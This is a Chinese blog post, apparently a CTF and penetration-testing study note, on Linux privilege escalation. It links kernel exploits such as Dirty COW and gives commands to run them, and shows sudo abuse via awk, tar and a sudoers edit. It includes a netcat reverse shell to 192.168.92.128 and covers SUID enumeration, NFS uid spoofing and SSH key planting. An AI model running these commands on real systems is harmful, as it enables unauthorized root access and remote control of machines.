Linux系统提权|内网渗透学习(九)

Linux系统提权|内网渗透学习(九)

Linux可以说是最为一个CTF打Web的选手解出最多的了, 因为题目的容器环境几乎都是使用的Linux系统, 所以下面的这几个思路也没什么新的点, 都是之前常用的一些思路, 个人感觉新一点的就是awk,find,tar这几个命令能够RCE以及/etc/sudoers文件的用处(因为之前我是没怎么用过这些方法的)

Linux提权信息收集

  1. 脚本收集探测内核漏洞
  2. searchsploit查找漏洞

系统内核漏洞提权

  1. 脏牛
    低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地捉权·
    POC : https://github.com/FireFart/dirtycow
    gcc编译: gcc -pthread ditry.c -o dirty -lcrypt
    替换root用户: ./dirty password
  2. CVE-2019-13272
    linux本地捉权
    漏柯范围:
    4.10 < linux内核版本<5.1.17
    exploitdb :
    https://www.exploit-db.com/exploits/47163
    利用exp :
    https://www.exploit-db.com/download/47163
  3. CVE-2019-7304
    Linux包管理器snap本地提权漏洞
    Ubuntu版本范围:
    Ubuntu 18.10Ubuntu 18.04 LTSUbuntu 16.04 LTSUbuntu 14.04 LTS
    snap版本范围:2.28< snapd <2.37
  4. CVE-2019-7304
    漏洞利用:
    https://github.com/initstring/dirty_sock

环境变量提权

PATH是Linux和类Unix操作系统中的环境变量﹐它指定存储可执行程序的所有bin和sbin目录·当用户在终端上执行任何命令时﹐它会通过PATH变量来响应用户执行的命令﹐并向shell发送请求以搜索可执蔷文件。

Passwd哈希记录

passwd每行数据通过:分割, 第一个是用户名, 第二个则是哈希值, 如果哈希保存在/etc/shadow文件的话则会记录为x, 所以也可以查看一下会不会有某个用户的哈希被直接记录在passwd文件中, 如果有的话就可以直接去md5解密网站就行哈希解密

SUID提权

相关命令:

find / -user root -perm /4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -type f -name '*.txt' 2>/dev/null
getcap -r / 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {}; > /tmp/suid

suid权限说明:

  1. 启动为进程之后﹐其进程的属主为原程序文件的属主
  2. 只能作用在二进制程序上,不能作用在脚本上,且设置在目录上无意义
  3. 执行suid权限的程序时,此用户将继承此程序的所有者权限

SUID提权和sudo都是通过设置使得命令或者程序以root的权限去执行,SUID指定的是可执行的应用程序, 所以可以通过程序的功能区执行命令拿到一个root用户权限控制

使用的话可以参考下面Sudo 的滥用部分锁使用到的命令, 此外例如还有pkexec的提权也是SUID提权

Sudo 的滥用

下面主要是awk, tar, find命令的使用, 之前都没用过

  1. 通过下面语句向sudoers文件添加用户sudo权限控制, 让某个用户可以任意通过sudo执行任意命令

    sudo echo "h0cksr ALL=(root) NOPASSWD: ALL" >> /etc/sudoers
  2. sudo awk 'BEGIN {system("/bin/sh")}'
  3. sudo curl file:///flag
  4. echo "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.92.128 6666 > /tmp/f" > shell.sh
    
    sudo tar -zcf /etc/backups/home-bob.tgz --checkpoint=1 --checkpoint-action=exec=sh shell sh shell.sh

    --checkpoint-action选项∶用于指定到达检查点时将要执行的程序, 这将允许我们运行一个任意的命令

    --checkpoint=1--checkpoint-action=exec=sh shell.sh作为命令行选项交给了tar程序

Crontab 定时任务

crontab :定时任务的守护进程
系统定时任务:/etc/crontab用户定时任务:/var/spool/cron/
crontab -l:查看定时任务列表

定时任务没什么好说的, 就直接指定执行任务的用户为root, 然后执行反弹shell命令或者修改某个用户的权限为root组或者添加一个root用户或者直接修改root用户的密码,

其他

NFS低权限文件

挂载nfs服务

showmount -e [nsf_server_ip]
mkdir /mnt/temp
mount [nsf_server_ip]:/nsf/server/dir /mnt/temp/
cd /mnt/temp
ls -al

image-20221001164053492

默认情况下访问挂载的文件夹的时候我们属于匿名用户, 对很多文件不仅没有写权限, 而且连读权限都没有

这时候我们就可以通过在伪造一个用户的uidgid来完成身份的验证, 例如

图片中全部文件都是用户peter所有, 这时候我们就可以通过

  1. 先在本地su peter切换为peter用户
  2. 然后本地的peter用户进入/mnt/peter目录
  3. 验证到当前用户为peter, 文件所有者也为peter, 验证通过, 因此拿到文件的控制权限

写SSH公钥

例如在上面我们获得了peter用户的目录控制权限之后就可以通过写公钥的方式, 将peter的ssh公钥修改从而达到免密登录的效果

写入ssh公钥之后就可以直接ssh peter@target_ip登录拿到peter的shell

2022_10_01 17:00

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇